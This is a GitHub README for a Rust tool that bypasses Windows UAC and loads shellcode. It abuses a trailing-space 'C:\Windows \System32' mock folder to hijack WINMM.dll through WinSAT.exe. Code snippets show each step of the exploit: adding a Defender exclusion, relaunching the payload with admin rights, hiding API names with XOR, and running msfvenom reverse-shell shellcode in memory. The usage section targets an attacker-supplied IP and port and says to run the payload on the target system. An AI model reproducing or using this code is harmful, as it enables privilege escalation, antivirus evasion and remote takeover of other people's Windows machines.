Skip to content

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

1 Commit
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

UAC Bypass via Mock Folders

How it works:

Windows auto elevates processes started from a trusted directory, like System32, so if you can inject a dll into a process started from there, you can bypass UAC. The bug being exploited here is that windows treats folders with a trailing space as the same folder in a way, which allows for auto elevation from a mock folder created with a trailing space like this "System32 /".

Exploitation steps:

  1. First, a mock folder is created and a copy of WinSat.exe is placed there, and then the location of payload.exe is written to a registry key and payload.exe exits:
    1. fs::create_dir_all(r"C:\Windows \")
      .and_then(|_| fs::create_dir_all(r"C:\Windows \System32\"))?;
      fs::copy(r"C:/Windows/System32/WinSAT.exe", r"C:/Windows /System32/WinSAT.exe");
    2.  let file_path: &String = &args().collect::<Vec<String>>()[0];
       store_filename_in_registry(file_path.to_string());
  2. evil_dll is written to that mock folder
    1.  fs::write(r"C:/Windows /System32/WINMM.dll", EVIL_DLL)?;
  3. The copy of WinSAT is launched
    1.  let launch = Command::new("powershell.exe")
           .args(["-Command", ".\"C:/Windows /System32/WinSAT.exe\""])
           .creation_flags(0x08000000)
           .output();
       Ok(())
  4. WinSAT looks for WINMM.dll in the mock folder and loads it, but WINMM.dll is replaced with our evil_dll
  5. evil_dll executes the contents of DLLMain on load.
  6. In DLLMain:
    1. Antivirus is disabled with powershell.exe -Command "Set-MpPreference -ExclusionExtension .exe"
    2. The absolute path to payload.exe is looked up.
    3. payload.exe is executed with admin privileges using Command::new("powershell.exe") .args(["-C","start-process",&filepath,"-Verb", "runAs"])
    4. evil_dll exits
  7. Back in payload.exe, now launched with admin privileges, the shellcode loading sequence starts:
    1. The address of VirtualAlloc is found using this, except all the strings are deobfuscated at runtime making use of repeating key XOR:
        let kernel32string = CString::new("kernel32.dll").unwrap();
        let virtualallocstring = CString::new("VirtualAlloc").unwrap();
        let allocate = GetProcAddress(
           GetModuleHandleW(
              encode_wide("kernel32.dll".to_string()).as_ptr()
           ),
           virtualallocstring.as_ptr()
        );
      With obfuscation:
       let kernel32string = CString::new(de_xor(&[17, 60, 59, 0, 50, 62, 114, 83, 67, 46, 32, 7],&[122, 89, 73, 110, 87, 82, 65, 97, 109, 74, 76, 107, 87, 106, 75])).unwrap();
       let virtualallocstring = CString::new(de_xor(&[5, 45, 28, 60, 31, 25, 29, 32, 26, 63, 31, 26],&[83, 68, 110, 72, 106, 120, 113, 97, 118, 83, 112, 121, 107, 76, 110])).unwrap();
       let allocate = GetProcAddress(
       GetModuleHandleW(
          encode_wide(de_xor(&[17, 60, 59, 0, 50, 62, 114, 83, 67, 46, 32, 7],&[122, 89, 73, 110, 87, 82, 65, 97, 109, 74, 76, 107, 87, 106, 75]).to_string()).as_ptr()
       ),
          virtualallocstring.as_ptr()
       );
    2. The shellcode, stored in a global const is decoded from repeating key XOR.
    3. The shellcode is placed in memory using the RtlCopyMemory function,
    4. The pointer to that shellcode is turned into a funciton pointer using mem::transmute
    5. The shellcode is executed with admin privileges.
    6. The mock folder is cleaned up.

Dependencies

  1. msfvenom for generating payloads, although you could easily modify shellcode_generator to make use of your own payloads

Usage

  1. Generate a shellcode with shellcode_generator <reverse shell ip> <reverse shell port>
  2. Build evil_dll with cargo build --release
    1. if you are on a different platform, build with cross build --release --target=x86_64-pc-windows-gnu
  3. Build payload.exe with cargo build --release
  4. Run payload.exe on the target system and watch the magic happen!

About

a UAC bypass method and shellcode loader

Resources

Stars

5 stars

Watchers

1 watching

Forks

Releases

Packages

Contributors

Languages